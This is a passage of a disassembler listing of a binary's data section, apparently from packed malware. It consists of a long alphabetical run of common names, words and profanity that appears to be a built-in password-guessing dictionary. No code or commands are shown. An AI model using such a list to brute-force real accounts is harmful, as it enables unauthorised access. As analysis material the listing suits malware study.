'kristy',0 ; DATA XREF: .nsp0:0042D11Co align 4 aKristine db 'kristine',0 ; DATA XREF: .nsp0:0042D118o align 4 aKristin db 'kristin',0 ; DATA XREF: .nsp0:0042D114o aKristie db 'kristie',0 ; DATA XREF: .nsp0:0042D110o aKristi db 'kristi',0 ; DATA XREF: .nsp0:0042D10Co align 4 aKristen db 'kristen',0 ; DATA XREF: .nsp0:0042D108o aKrista db 'krista',0 ; DATA XREF: .nsp0:0042D104o align 4 aKnown db 'known',0 ; DATA XREF: .nsp0:0042D100o align 4 aKnightma db 'knightma',0 ; DATA XREF: .nsp0:0042D0FCo align 10h aKnight db 'knight',0 ; DATA XREF: .nsp0:0042D0F8o align 4 aKnife db 'knife',0 ; DATA XREF: .nsp0:0042D0F4o align 10h aKlingon db 'klingon',0 ; DATA XREF: .nsp0:0042D0F0o aKitten db 'kitten',0 ; DATA XREF: .nsp0:0042D0ECo align 10h aKissmyas db 'kissmyas',0 ; DATA XREF: .nsp0:0042D0E8o align 4 aKiss db 'kiss',0 ; DATA XREF: .nsp0:0042D0E4o align 4 aKirkland db 'kirkland',0 ; DATA XREF: .nsp0:0042D0E0o align 10h aKirk db 'kirk',0 ; DATA XREF: .nsp0:0042D0DCo align 4 aKing db 'king',0 ; DATA XREF: .nsp0:0042D0D8o align 10h aKimberly db 'kimberly',0 ; DATA XREF: .nsp0:0042D0D4o align 4 aKilo db 'kilo',0 ; DATA XREF: .nsp0:0042D0D0o align 4 aKillthem db 'killthem',0 ; DATA XREF: .nsp0:0042D0CCo align 10h aKill db 'kill',0 ; DATA XREF: .nsp0:0042D0C8o align 4 aKids db 'kids',0 ; DATA XREF: .nsp0:0042D0C4o align 10h aKeyword db 'keyword',0 ; DATA XREF: .nsp0:0042D0C0o aKeyin db 'keyin',0 ; DATA XREF: .nsp0:0042D0BCo align 10h aKeybord db 'keybord',0 ; DATA XREF: .nsp0:0042D0B8o aKewl db 'kewl',0 ; DATA XREF: .nsp0:0042D0B4o align 10h aKevin db 'kevin',0 ; DATA XREF: .nsp0:0042D0B0o align 4 aKerry db 'kerry',0 ; DATA XREF: .nsp0:0042D0ACo align 10h aKerrie db 'kerrie',0 ; DATA XREF: .nsp0:0042D0A8o align 4 aKerri db 'kerri',0 ; DATA XREF: .nsp0:0042D0A4o align 10h aKernel db 'kernel',0 ; DATA XREF: .nsp0:0042D0A0o align 4 aKermit db 'kermit',0 ; DATA XREF: .nsp0:0042D09Co align 10h aKeri db 'keri',0 ; DATA XREF: .nsp0:0042D098o align 4 aKelly db 'kelly',0 ; DATA XREF: .nsp0:0042D094o align 10h aKatrina db 'katrina',0 ; DATA XREF: .nsp0:0042D090o aKatina db 'katina',0 ; DATA XREF: .nsp0:0042D08Co align 10h aKathy db 'kathy',0 ; DATA XREF: .nsp0:0042D088o align 4 aKathrine db 'kathrine',0 ; DATA XREF: .nsp0:0042D084o align 4 aKathleen db 'kathleen',0 ; DATA XREF: .nsp0:0042D080o align 10h aKate db 'kate',0 ; DATA XREF: .nsp0:0042D07Co align 4 aKatana db 'katana',0 ; DATA XREF: .nsp0:0042D078o align 10h aKarina db 'karina',0 ; DATA XREF: .nsp0:0042D074o align 4 aKarie db 'karie',0 ; DATA XREF: .nsp0:0042D070o align 10h aKaren db 'karen',0 ; DATA XREF: .nsp0:0042D06Co align 4 aKaka db 'kaka',0 ; DATA XREF: .nsp0:0042D068o align 10h aJupiter db 'jupiter',0 ; DATA XREF: .nsp0:0042D064o aJune db 'june',0 ; DATA XREF: .nsp0:0042D060o align 10h aJuliet db 'juliet',0 ; DATA XREF: .nsp0:0042D05Co align 4 aJulie db 'julie',0 ; DATA XREF: .nsp0:0042D058o align 10h aJulia db 'julia',0 ; DATA XREF: .nsp0:0042D054o align 4 aJuicy db 'juicy',0 ; DATA XREF: .nsp0:0042D050o align 10h aJuggle db 'juggle',0 ; DATA XREF: .nsp0:0042D04Co align 4 aJudy db 'judy',0 ; DATA XREF: .nsp0:0042D048o align 10h aJudith db 'judith',0 ; DATA XREF: .nsp0:0042D044o align 4 aJoyce db 'joyce',0 ; DATA XREF: .nsp0:0042D040o align 10h aJournal db 'journal',0 ; DATA XREF: .nsp0:0042D03Co aJoshua db 'joshua',0 ; DATA XREF: .nsp0:0042D038o align 10h aJoseph db 'joseph',0 ; DATA XREF: .nsp0:0042D034o align 4 aJohnny db 'johnny',0 ; DATA XREF: .nsp0:0042D030o align 10h aJohndoe db 'johndoe',0 ; DATA XREF: .nsp0:0042D02Co aJohn db 'john',0 ; DATA XREF: .nsp0:0042D028o align 10h aJody db 'jody',0 ; DATA XREF: .nsp0:0042D024o align 4 aJoanne db 'joanne',0 ; DATA XREF: .nsp0:0042D020o align 10h aJixian db 'jixian',0 ; DATA XREF: .nsp0:0042D01Co align 4 aJill db 'jill',0 ; DATA XREF: .nsp0:0042D018o align 10h aJewelry db 'jewelry',0 ; DATA XREF: .nsp0:0042D014o aJester db 'jester',0 ; DATA XREF: .nsp0:0042D010o align 10h aJessica db 'jessica',0 ; DATA XREF: .nsp0:0042D00Co aJerusale db 'jerusale',0 ; DATA XREF: .nsp0:0042D008o align 4 aJerry db 'jerry',0 ; DATA XREF: .nsp0:0042D004o align 4 aJenny db 'jenny',0 ; DATA XREF: .nsp0:0042D000o align 4 aJennifer db 'jennifer',0 ; DATA XREF: .nsp0:0042CFFCo align 10h aJenni db 'jenni',0 ; DATA XREF: .nsp0:0042CFF8o align 4 aJeff db 'jeff',0 ; DATA XREF: .nsp0:0042CFF4o align 10h aJeanne db 'jeanne',0 ; DATA XREF: .nsp0:0042CFF0o align 4 aJean db 'jean',0 ; DATA XREF: .nsp0:0042CFECo align 10h aJazz db 'jazz',0 ; DATA XREF: .nsp0:0042CFE8o align 4 aJava db 'java',0 ; DATA XREF: .nsp0:0042CFE4o align 10h aJasmin db 'jasmin',0 ; DATA XREF: .nsp0:0042CFE0o align 4 aJapan db 'japan',0 ; DATA XREF: .nsp0:0042CFDCo align 10h aJanie db 'janie',0 ; DATA XREF: .nsp0:0042CFD8o align 4 aJanice db 'janice',0 ; DATA XREF: .nsp0:0042CFD4o align 10h aJanet db 'janet',0 ; DATA XREF: .nsp0:0042CFD0o align 4 aJane db 'jane',0 ; DATA XREF: .nsp0:0042CFCCo align 10h aJail db 'jail',0 ; DATA XREF: .nsp0:0042CFC8o align 4 aJackie db 'jackie',0 ; DATA XREF: .nsp0:0042CFC4o align 10h aIsis db 'isis',0 ; DATA XREF: .nsp0:0042CFC0o align 4 aIrishman db 'irishman',0 ; DATA XREF: .nsp0:0042CFBCo align 4 aIrene db 'irene',0 ; DATA XREF: .nsp0:0042CFB8o align 4 aInvent db 'invent',0 ; DATA XREF: .nsp0:0042CFB4o align 4 aInteger db 'integer',0 ; DATA XREF: .nsp0:0042CFB0o aInside db 'inside',0 ; DATA XREF: .nsp0:0042CFACo align 4 aInput db 'input',0 ; DATA XREF: .nsp0:0042CFA8o align 4 aInnocuou db 'innocuou',0 ; DATA XREF: .nsp0:0042CFA4o align 4 aInna db 'inna',0 ; DATA XREF: .nsp0:0042CFA0o align 10h aIngrid db 'ingrid',0 ; DATA XREF: .nsp0:0042CF9Co align 4 aIngress db 'ingress',0 ; DATA XREF: .nsp0:0042CF98o aIngres db 'ingres',0 ; DATA XREF: .nsp0:0042CF94o align 4 aIndians db 'indians',0 ; DATA XREF: .nsp0:0042CF90o aIndiana db 'indiana',0 ; DATA XREF: .nsp0:0042CF8Co aIndian db 'indian',0 ; DATA XREF: .nsp0:0042CF88o align 10h aIndia db 'india',0 ; DATA XREF: .nsp0:0042CF84o align 4 aInclude db 'include',0 ; DATA XREF: .nsp0:0042CF80o aImperial db 'imperial',0 ; DATA XREF: .nsp0:0042CF7Co align 4 aImmortal db 'immortal',0 ; DATA XREF: .nsp0:0042CF78o align 4 aImbrogli db 'imbrogli',0 ; DATA XREF: .nsp0:0042CF74o align 4 aImage db 'image',0 ; DATA XREF: .nsp0:0042CF70o align 4 aIllumina db 'illumina',0 ; DATA XREF: .nsp0:0042CF6Co align 4 aIcecream db 'icecream',0 ; DATA XREF: .nsp0:0042CF68o align 4 aHypertxt db 'hypertxt',0 ; DATA XREF: .nsp0:0042CF64o align 10h aHyper db 'hyper',0 ; DATA XREF: .nsp0:0042CF60o align 4 aHydrogen db 'hydrogen',0 ; DATA XREF: .nsp0:0042CF5Co align 4 aHutchins db 'hutchins',0 ; DATA XREF: .nsp0:0042CF58o align 10h aHunter db 'hunter',0 ; DATA XREF: .nsp0:0042CF54o align 4 aHunt db 'hunt',0 ; DATA XREF: .nsp0:0042CF50o align 10h aHttp_0 db 'http',0 ; DATA XREF: .nsp0:0042CF4Co align 4 aHotel db 'hotel',0 ; DATA XREF: .nsp0:0042CF48o align 10h aHotdog db 'hotdog',0 ; DATA XREF: .nsp0:0042CF44o align 4 aHost db 'host',0 ; DATA XREF: .nsp0:0042CF40o align 10h aHorus db 'horus',0 ; DATA XREF: .nsp0:0042CF3Co align 4 aHorse db 'horse',0 ; DATA XREF: .nsp0:0042CF38o align 10h aHorror db 'horror',0 ; DATA XREF: .nsp0:0042CF34o align 4 aHorrible db 'horrible',0 ; DATA XREF: .nsp0:0042CF30o align 4 aHorny db 'horny',0 ; DATA XREF: .nsp0:0042CF2Co align 4 aHooters db 'hooters',0 ; DATA XREF: .nsp0:0042CF28o aHooker db 'hooker',0 ; DATA XREF: .nsp0:0042CF24o align 4 aHoney db 'honey',0 ; DATA XREF: .nsp0:0042CF20o align 4 aHomework db 'homework',0 ; DATA XREF: .nsp0:0042CF1Co align 10h aHomer db 'homer',0 ; DATA XREF: .nsp0:0042CF18o align 4 aHomepage db 'homepage',0 ; DATA XREF: .nsp0:0042CF14o align 4 aHollywoo db 'hollywoo',0 ; DATA XREF: .nsp0:0042CF10o align 10h aHolly db 'holly',0 ; DATA XREF: .nsp0:0042CF0Co align 4 aHole db 'hole',0 ; DATA XREF: .nsp0:0042CF08o align 10h aHits db 'hits',0 ; DATA XREF: .nsp0:0042CF04o align 4 aHitler db 'hitler',0 ; DATA XREF: .nsp0:0042CF00o align 10h aHighland db 'highland',0 ; DATA XREF: .nsp0:0042CEFCo align 4 aHigh db 'high',0 ; DATA XREF: .nsp0:0042CEF8o align 4 aHidden db 'hidden',0 ; DATA XREF: .nsp0:0042CEF4o align 4 aHibernia db 'hibernia',0 ; DATA XREF: .nsp0:0042CEF0o align 4 aHiawatha db 'hiawatha',0 ; DATA XREF: .nsp0:0042CEECo align 4 aHexadeci db 'hexadeci',0 ; DATA XREF: .nsp0:0042CEE8o align 10h aHewlett db 'hewlett',0 ; DATA XREF: .nsp0:0042CEE4o aHeroin db 'heroin',0 ; DATA XREF: .nsp0:0042CEE0o align 10h aHero db 'hero',0 ; DATA XREF: .nsp0:0042CEDCo align 4 aHerbert db 'herbert',0 ; DATA XREF: .nsp0:0042CED8o aHerb db 'herb',0 ; DATA XREF: .nsp0:0042CED4o align 4 aHelp db 'help',0 ; DATA XREF: .nsp0:0042CED0o align 10h aHello db 'hello',0 ; DATA XREF: .nsp0:0042CECCo align 4 aHell db 'hell',0 ; DATA XREF: .nsp0:0042CEC8o align 10h aHeinlein db 'heinlein',0 ; DATA XREF: .nsp0:0042CEC4o align 4 aHeidi db 'heidi',0 ; DATA XREF: .nsp0:0042CEC0o align 4 aHebrides db 'hebrides',0 ; DATA XREF: .nsp0:0042CEBCo align 10h aHeather db 'heather',0 ; DATA XREF: .nsp0:0042CEB8o aHeathen db 'heathen',0 ; DATA XREF: .nsp0:0042CEB4o aHeat db 'heat',0 ; DATA XREF: .nsp0:0042CEB0o align 4 aHeadbang db 'headbang',0 ; DATA XREF: .nsp0:0042CEACo align 4 aHead db 'head',0 ; DATA XREF: .nsp0:0042CEA8o align 4 aHawaii db 'hawaii',0 ; DATA XREF: .nsp0:0042CEA4o align 4 aHaven db 'haven',0 ; DATA XREF: .nsp0:0042CEA0o align 4 aHate db 'hate',0 ; DATA XREF: .nsp0:0042CE9Co align 4 aHarvey db 'harvey',0 ; DATA XREF: .nsp0:0042CE98o align 4 aHarold db 'harold',0 ; DATA XREF: .nsp0:0042CE94o align 4 aHarmony db 'harmony',0 ; DATA XREF: .nsp0:0042CE90o aHarddriv db 'harddriv',0 ; DATA XREF: .nsp0:0042CE8Co align 4 aHardcore db 'hardcore',0 ; DATA XREF: .nsp0:0042CE88o align 4 aHard db 'hard',0 ; DATA XREF: .nsp0:0042CE84o align 4 aHappenin db 'happenin',0 ; DATA XREF: .nsp0:0042CE80o align 4 aHandjob db 'handjob',0 ; DATA XREF: .nsp0:0042CE7Co aHandily db 'handily',0 ; DATA XREF: .nsp0:0042CE78o aHandel db 'handel',0 ; DATA XREF: .nsp0:0042CE74o align 10h aHamster db 'hamster',0 ; DATA XREF: .nsp0:0042CE70o aHamlet db 'hamlet',0 ; DATA XREF: .nsp0:0042CE6Co align 10h aHallowee db 'hallowee',0 ; DATA XREF: .nsp0:0042CE68o align 4 aHair db 'hair',0 ; DATA XREF: .nsp0:0042CE64o align 4 aHagar db 'hagar',0 ; DATA XREF: .nsp0:0042CE60o align 4 aHacked db 'hacked',0 ; DATA XREF: .nsp0:0042CE5Co align 4 aHack db 'hack',0 ; DATA XREF: .nsp0:0042CE58o align 4 aGuntis db 'guntis',0 ; DATA XREF: .nsp0:0042CE54o align 4 aGumption db 'gumption',0 ; DATA XREF: .nsp0:0042CE50o align 10h aGuitar db 'guitar',0 ; DATA XREF: .nsp0:0042CE4Co align 4 aGuess db 'guess',0 ; DATA XREF: .nsp0:0042CE48o align 10h aGucci db 'gucci',0 ; DATA XREF: .nsp0:0042CE44o align 4 aGuardian db 'guardian',0 ; DATA XREF: .nsp0:0042CE40o align 4 aGryphon db 'gryphon',0 ; DATA XREF: .nsp0:0042CE3Co aGroup db 'group',0 ; DATA XREF: .nsp0:0042CE38o align 4 aGreen db 'green',0 ; DATA XREF: .nsp0:0042CE34o align 4 aGreat db 'great',0 ; DATA XREF: .nsp0:0042CE30o align 4 aGrant db 'grant',0 ; DATA XREF: .nsp0:0042CE2Co align 4 aGrand db 'grand',0 ; DATA XREF: .nsp0:0042CE28o align 4 aGrahm db 'grahm',0 ; DATA XREF: .nsp0:0042CE24o align 4 aGraham db 'graham',0 ; DATA XREF: .nsp0:0042CE20o align 4 aGrades db 'grades',0 ; DATA XREF: .nsp0:0042CE1Co align 4 aGovermen db 'govermen',0 ; DATA XREF: .nsp0:0042CE18o align 4 aGouge db 'gouge',0 ; DATA XREF: .nsp0:0042CE14o align 10h aGosling db 'gosling',0 ; DATA XREF: .nsp0:0042CE10o aGorges db 'gorges',0 ; DATA XREF: .nsp0:0042CE0Co align 10h aGorgeous db 'gorgeous',0 ; DATA XREF: .nsp0:0042CE08o align 4 aGood db 'good',0 ; DATA XREF: .nsp0:0042CE04o align 4 aGolfer db 'golfer',0 ; DATA XREF: .nsp0:0042CE00o align 4 aGolf db 'golf',0 ; DATA XREF: .nsp0:0042CDFCo align 4 aGolden db 'golden',0 ; DATA XREF: .nsp0:0042CDF8o align 4 aGold db 'gold',0 ; DATA XREF: .nsp0:0042CDF4o align 4 aGlacier db 'glacier',0 ; DATA XREF: .nsp0:0042CDF0o aGirl db 'girl',0 ; DATA XREF: .nsp0:0042CDECo align 4 aGinger db 'ginger',0 ; DATA XREF: .nsp0:0042CDE8o align 4 aGina db 'gina',0 ; DATA XREF: .nsp0:0042CDE4o align 4 aGigabyte db 'gigabyte',0 ; DATA XREF: .nsp0:0042CDE0o align 10h aGibson db 'gibson',0 ; DATA XREF: .nsp0:0042CDDCo align 4 aGhost db 'ghost',0 ; DATA XREF: .nsp0:0042CDD8o align 10h aGertrude db 'gertrude',0 ; DATA XREF: .nsp0:0042CDD4o align 4 aGerm db 'germ',0 ; DATA XREF: .nsp0:0042CDD0o align 4 aGeorge db 'george',0 ; DATA XREF: .nsp0:0042CDCCo align 4 aGauss db 'gauss',0 ; DATA XREF: .nsp0:0042CDC8o align 4 aGatt db 'gatt',0 ; DATA XREF: .nsp0:0042CDC4o align 4 aGatherin db 'gatherin',0 ; DATA XREF: .nsp0:0042CDC0o align 4 aGateway db 'gateway',0 ; DATA XREF: .nsp0:0042CDBCo aGarfield db 'garfield',0 ; DATA XREF: .nsp0:0042CDB8o align 4 aGardner db 'gardner',0 ; DATA XREF: .nsp0:0042CDB4o aGames db 'games',0 ; DATA XREF: .nsp0:0042CDB0o align 4 aGabriel db 'gabriel',0 ; DATA XREF: .nsp0:0042CDACo aFungible db 'fungible',0 ; DATA XREF: .nsp0:0042CDA8o align 10h aFunction db 'function',0 ; DATA XREF: .nsp0:0042CDA4o align 4 aFudge db 'fudge',0 ; DATA XREF: .nsp0:0042CDA0o align 4 aFuckyou db 'fuckyou',0 ; DATA XREF: .nsp0:0042CD9Co aFuckme db 'fuckme',0 ; DATA XREF: .nsp0:0042CD98o align 4 aFucking db 'fucking',0 ; DATA XREF: .nsp0:0042CD94o aFucker db 'fucker',0 ; DATA XREF: .nsp0:0042CD90o align 4 aFuck db 'fuck',0 ; DATA XREF: .nsp0:0042CD8Co align 4 aFryguy db 'fryguy',0 ; DATA XREF: .nsp0:0042CD88o align 4 aFrog db 'frog',0 ; DATA XREF: .nsp0:0042CD84o align 4 aFrighten db 'frighten',0 ; DATA XREF: .nsp0:0042CD80o align 4 aFriends db 'friends',0 ; DATA XREF: .nsp0:0042CD7Co aFriend db 'friend',0 ; DATA XREF: .nsp0:0042CD78o align 4 aFriday db 'friday',0 ; DATA XREF: .nsp0:0042CD74o align 10h aFrench db 'french',0 ; DATA XREF: .nsp0:0042CD70o align 4 aFreedom db 'freedom',0 ; DATA XREF: .nsp0:0042CD6Co aFree db 'free',0 ; DATA XREF: .nsp0:0042CD68o align 4 aFred db 'fred',0 ; DATA XREF: .nsp0:0042CD64o align 10h aFreak db 'freak',0 ; DATA XREF: .nsp0:0042CD60o align 4 aFrank db 'frank',0 ; DATA XREF: .nsp0:0042CD5Co align 10h aFrance db 'france',0 ; DATA XREF: .nsp0:0042CD58o align 4 aFoxtrot db 'foxtrot',0 ; DATA XREF: .nsp0:0042CD54o aFourier db 'fourier',0 ; DATA XREF: .nsp0:0042CD50o aForsythe db 'forsythe',0 ; DATA XREF: .nsp0:0042CD4Co align 4 aFornicat db 'fornicat',0 ; DATA XREF: .nsp0:0042CD48o align 10h aFormat db 'format',0 ; DATA XREF: .nsp0:0042CD44o align 4 aForm db 'form',0 ; DATA XREF: .nsp0:0042CD40o align 10h aForever db 'forever',0 ; DATA XREF: .nsp0:0042CD3Co aForesigh db 'foresigh',0 ; DATA XREF: .nsp0:0042CD38o align 4 aFord db 'ford',0 ; DATA XREF: .nsp0:0042CD34o align 4 aForce db 'force',0 ; DATA XREF: .nsp0:0042CD30o align 4 aFootball db 'football',0 ; DATA XREF: .nsp0:0042CD2Co align 10h aFoolproo db 'foolproo',0 ; DATA XREF: .nsp0:0042CD28o align 4 aFool db 'fool',0 ; DATA XREF: .nsp0:0042CD24o align 4 aFood db 'food',0 ; DATA XREF: .nsp0:0042CD20o align 4 aFlowers db 'flowers',0 ; DATA XREF: .nsp0:0042CD1Co aFlower db 'flower',0 ; DATA XREF: .nsp0:0042CD18o align 4 aFlorida db 'florida',0 ; DATA XREF: .nsp0:0042CD14o aFloat db 'float',0 ; DATA XREF: .nsp0:0042CD10o align 4 aFlakes db 'flakes',0 ; DATA XREF: .nsp0:0042CD0Co align 4 aFishers db 'fishers',0 ; DATA XREF: .nsp0:0042CD08o aFirewall db 'firewall',0 ; DATA XREF: .nsp0:0042CD04o align 4 aFire db 'fire',0 ; DATA XREF: .nsp0:0042CD00o align 10h aFinite db 'finite',0 ; DATA XREF: .nsp0:0042CCFCo align 4 aFile db 'file',0 ; DATA XREF: sub_40CE55+1D0Fo ; sub_40CE55+1D85o ... align 10h aFight db 'fight',0 ; DATA XREF: .nsp0:0042CCF4o align 4 aField db 'field',0 ; DATA XREF: .nsp0:0042CCF0o align 10h aFidelity db 'fidelity',0 ; DATA XREF: .nsp0:0042CCECo align 4 aFerrari db 'ferrari',0 ; DATA XREF: .nsp0:0042CCE8o aFermat db 'fermat',0 ; DATA XREF: .nsp0:0042CCE4o align 4 aFender db 'fender',0 ; DATA XREF: .nsp0:0042CCE0o align 4 aFelicia db 'felicia',0 ; DATA XREF: .nsp0:0042CCDCo aFeds db 'feds',0 ; DATA XREF: .nsp0:0042CCD8o align 4 aFear db 'fear',0 ; DATA XREF: .nsp0:0042CCD4o align 4 aFast db 'fast',0 ; DATA XREF: .nsp0:0042CCD0o align 4 aFart db 'fart',0 ; DATA XREF: .nsp0:0042CCCCo align 4 aFaraday db 'faraday',0 ; DATA XREF: .nsp0:0042CCC8o aFarad db 'farad',0 ; DATA XREF: .nsp0:0042CCC4o align 4 aFamily db 'family',0 ; DATA XREF: .nsp0:0042CCC0o align 4 aFalse db 'false',0 ; DATA XREF: .nsp0:0042CCBCo align 4 aFalcon db 'falcon',0 ; DATA XREF: .nsp0:0042CCB8o align 4 aFaith db 'faith',0 ; DATA XREF: .nsp0:0042CCB4o align 4 aFairway db 'fairway',0 ; DATA XREF: .nsp0:0042CCB0o aExtensio db 'extensio',0 ; DATA XREF: .nsp0:0042CCACo align 10h aExplosiv db 'explosiv',0 ; DATA XREF: .nsp0:0042CCA8o align 4 aExplorer db 'explorer',0 ; DATA XREF: .nsp0:0042CCA4o align 4 aExplore db 'explore',0 ; DATA XREF: .nsp0:0042CCA0o aExplode db 'explode',0 ; DATA XREF: .nsp0:0042CC9Co aExpert db 'expert',0 ; DATA XREF: .nsp0:0042CC98o align 10h aEvelyn db 'evelyn',0 ; DATA XREF: .nsp0:0042CC94o align 4 aEuclid db 'euclid',0 ; DATA XREF: .nsp0:0042CC90o align 10h aEternity db 'eternity',0 ; DATA XREF: .nsp0:0042CC8Co align 4 aEstate db 'estate',0 ; DATA XREF: .nsp0:0042CC88o align 4 aEstablis db 'establis',0 ; DATA XREF: .nsp0:0042CC84o align 10h aErsatz db 'ersatz',0 ; DATA XREF: .nsp0:0042CC80o align 4 aErotic db 'erotic',0 ; DATA XREF: .nsp0:0042CC7Co align 10h aErin db 'erin',0 ; DATA XREF: .nsp0:0042CC78o align 4 aErika db 'erika',0 ; DATA XREF: .nsp0:0042CC74o align 10h aErica db 'erica',0 ; DATA XREF: .nsp0:0042CC70o align 4 aEric db 'eric',0 ; DATA XREF: .nsp0:0042CC6Co align 10h aErenity db 'erenity',0 ; DATA XREF: .nsp0:0042CC68o aEnzyme db 'enzyme',0 ; DATA XREF: .nsp0:0042CC64o align 10h aEnterpri db 'enterpri',0 ; DATA XREF: .nsp0:0042CC60o align 4 aEnter db 'enter',0 ; DATA XREF: .nsp0:0042CC5Co align 4 aEnglish db 'english',0 ; DATA XREF: .nsp0:0042CC58o aEngland db 'england',0 ; DATA XREF: .nsp0:0042CC54o aEngineer db 'engineer',0 ; DATA XREF: .nsp0:0042CC50o align 10h aEngine db 'engine',0 ; DATA XREF: .nsp0:0042CC4Co align 4 aEnemy db 'enemy',0 ; DATA XREF: .nsp0:0042CC48o align 10h aEmmanuel db 'emmanuel',0 ; DATA XREF: .nsp0:0042CC44o align 4 aEmily db 'emily',0 ; DATA XREF: .nsp0:0042CC40o align 4 aEmerald db 'emerald',0 ; DATA XREF: .nsp0:0042CC3Co aEmail db 'email',0 ; DATA XREF: .nsp0:0042CC38o align 4 aEllen db 'ellen',0 ; DATA XREF: .nsp0:0042CC34o align 4 aElizabet db 'elizabet',0 ; DATA XREF: .nsp0:0042CC30o align 4 aElephant db 'elephant',0 ; DATA XREF: .nsp0:0042CC2Co align 4 aElectron db 'electron',0 ; DATA XREF: .nsp0:0042CC28o align 10h aElanor db 'elanor',0 ; DATA XREF: .nsp0:0042CC24o align 4 aElaine db 'elaine',0 ; DATA XREF: .nsp0:0042CC20o align 10h aEinstein db 'einstein',0 ; DATA XREF: .nsp0:0042CC1Co align 4 aEinsiein db 'einsiein',0 ; DATA XREF: .nsp0:0042CC18o align 4 aEileen db 'eileen',0 ; DATA XREF: .nsp0:0042CC14o align 10h aEiderdow db 'eiderdow',0 ; DATA XREF: .nsp0:0042CC10o align 4 aEgghead db 'egghead',0 ; DATA XREF: .nsp0:0042CC0Co aEdwina db 'edwina',0 ; DATA XREF: .nsp0:0042CC08o align 4 aEdwin db 'edwin',0 ; DATA XREF: .nsp0:0042CC04o align 4 aEducatio db 'educatio',0 ; DATA XREF: .nsp0:0042CC00o align 10h aEducation db 'education',0 ; DATA XREF: .nsp0:0042CBFCo align 4 aEdition db 'edition',0 ; DATA XREF: .nsp0:0042CBF8o aEdit db 'edit',0 ; DATA XREF: .nsp0:0042CBF4o align 4 aEdinburg db 'edinburg',0 ; DATA XREF: .nsp0:0042CBF0o align 4 aEdges db 'edges',0 ; DATA XREF: .nsp0:0042CBECo align 10h aEddie db 'eddie',0 ; DATA XREF: .nsp0:0042CBE8o align 4 aEcho db 'echo',0 ; DATA XREF: .nsp0:0042CBE4o align 10h aEatme db 'eatme',0 ; DATA XREF: .nsp0:0042CBE0o align 4 aEasy db 'easy',0 ; DATA XREF: .nsp0:0042CBDCo align 10h aEasier db 'easier',0 ; DATA XREF: .nsp0:0042CBD8o align 4 aEarth db 'earth',0 ; DATA XREF: .nsp0:0042CBD4o align 10h aEagle db 'eagle',0 ; DATA XREF: .nsp0:0042CBD0o align 4 aEager db 'eager',0 ; DATA XREF: .nsp0:0042CBCCo align 10h aDyke db 'dyke',0 ; DATA XREF: .nsp0:0042CBC8o align 4 aDungeon db 'dungeon',0 ; DATA XREF: .nsp0:0042CBC4o aDuncan db 'duncan',0 ; DATA XREF: .nsp0:0042CBC0o align 4 aDulce db 'dulce',0 ; DATA XREF: .nsp0:0042CBBCo align 10h aDuke db 'duke',0 ; DATA XREF: .nsp0:0042CBB8o align 4 aDuelist db 'duelist',0 ; DATA XREF: .nsp0:0042CBB4o aDude db 'dude',0 ; DATA XREF: .nsp0:0042CBB0o align 4 aDuck db 'duck',0 ; DATA XREF: .nsp0:0042CBACo align 10h aDrought db 'drought',0 ; DATA XREF: .nsp0:0042CBA8o aDrive db 'drive',0 ; DATA XREF: .nsp0:0042CBA4o align 10h aDrdoom db 'drdoom',0 ; DATA XREF: .nsp0:0042CBA0o align 4 aDragon db 'dragon',0 ; DATA XREF: .nsp0:0042CB9Co align 10h aDownload db 'download',0 ; DATA XREF: .nsp0:0042CB98o align 4 aDope db 'dope',0 ; DATA XREF: .nsp0:0042CB94o align 4 aDoors db 'doors',0 ; DATA XREF: .nsp0:0042CB90o align 4 aDoor db 'door',0 ; DATA XREF: .nsp0:0042CB8Co align 4 aDoonesbu db 'doonesbu',0 ; DATA XREF: .nsp0:0042CB88o align 10h aDoomsday db 'doomsday',0 ; DATA XREF: .nsp0:0042CB84o align 4 aDoomii db 'doomii',0 ; DATA XREF: .nsp0:0042CB80o align 4 aDoom2 db 'doom2',0 ; DATA XREF: .nsp0:0042CB7Co align 4 aDoom db 'doom',0 ; DATA XREF: .nsp0:0042CB78o align 4 aDong db 'dong',0 ; DATA XREF: .nsp0:0042CB74o align 4 aDollar db 'dollar',0 ; DATA XREF: .nsp0:0042CB70o align 4 aDoctor db 'doctor',0 ; DATA XREF: .nsp0:0042CB6Co align 4 aDisplay db 'display',0 ; DATA XREF: .nsp0:0042CB68o aDisney db 'disney',0 ; DATA XREF: .nsp0:0042CB64o align 4 aDiskette db 'diskette',0 ; DATA XREF: .nsp0:0042CB60o align 4 aDisk_0 db 'disk',0 ; DATA XREF: .nsp0:0042CB5Co align 10h aDiscover db 'discover',0 ; DATA XREF: .nsp0:0042CB58o align 4 aDisclose db 'disclose',0 ; DATA XREF: .nsp0:0042CB54o align 4 aDiscipli db 'discipli',0 ; DATA XREF: .nsp0:0042CB50o align 4 aDisc db 'disc',0 ; DATA XREF: .nsp0:0042CB4Co align 4 aDirty db 'dirty',0 ; DATA XREF: .nsp0:0042CB48o align 4 aDirector db 'director',0 ; DATA XREF: .nsp0:0042CB44o align 10h aDirect db 'direct',0 ; DATA XREF: .nsp0:0042CB40o align 4 aDipshit db 'dipshit',0 ; DATA XREF: .nsp0:0042CB3Co aDinosaur db 'dinosaur',0 ; DATA XREF: .nsp0:0042CB38o align 4 aDigital db 'digital',0 ; DATA XREF: .nsp0:0042CB34o aDieter db 'dieter',0 ; DATA XREF: .nsp0:0042CB30o align 4 aDiet db 'diet',0 ; DATA XREF: .nsp0:0042CB2Co align 4 aDiehard db 'diehard',0 ; DATA XREF: .nsp0:0042CB28o aDick db 'dick',0 ; DATA XREF: .nsp0:0042CB24o align 4 aDice db 'dice',0 ; DATA XREF: .nsp0:0042CB20o align 4 aDiane db 'diane',0 ; DATA XREF: .nsp0:0042CB1Co align 4 aDiana db 'diana',0 ; DATA XREF: .nsp0:0042CB18o align 4 aDiamond db 'diamond',0 ; DATA XREF: .nsp0:0042CB14o aDial db 'dial',0 ; DATA XREF: .nsp0:0042CB10o align 4 aDevice db 'device',0 ; DATA XREF: .nsp0:0042CB0Co align 4 aDevelop db 'develop',0 ; DATA XREF: .nsp0:0042CB08o aDesperat db 'desperat',0 ; DATA XREF: .nsp0:0042CB04o align 4 aDesktop db 'desktop',0 ; DATA XREF: .nsp0:0042CB00o aDesk db 'desk',0 ; DATA XREF: .nsp0:0042CAFCo align 4 aDesiree db 'desiree',0 ; DATA XREF: .nsp0:0042CAF8o aDennis db 'dennis',0 ; DATA XREF: .nsp0:0042CAF4o align 4 aDenise db 'denise',0 ; DATA XREF: .nsp0:0042CAF0o align 10h aDemocrat db 'democrat',0 ; DATA XREF: .nsp0:0042CAECo align 4 aDeluge db 'deluge',0 ; DATA XREF: 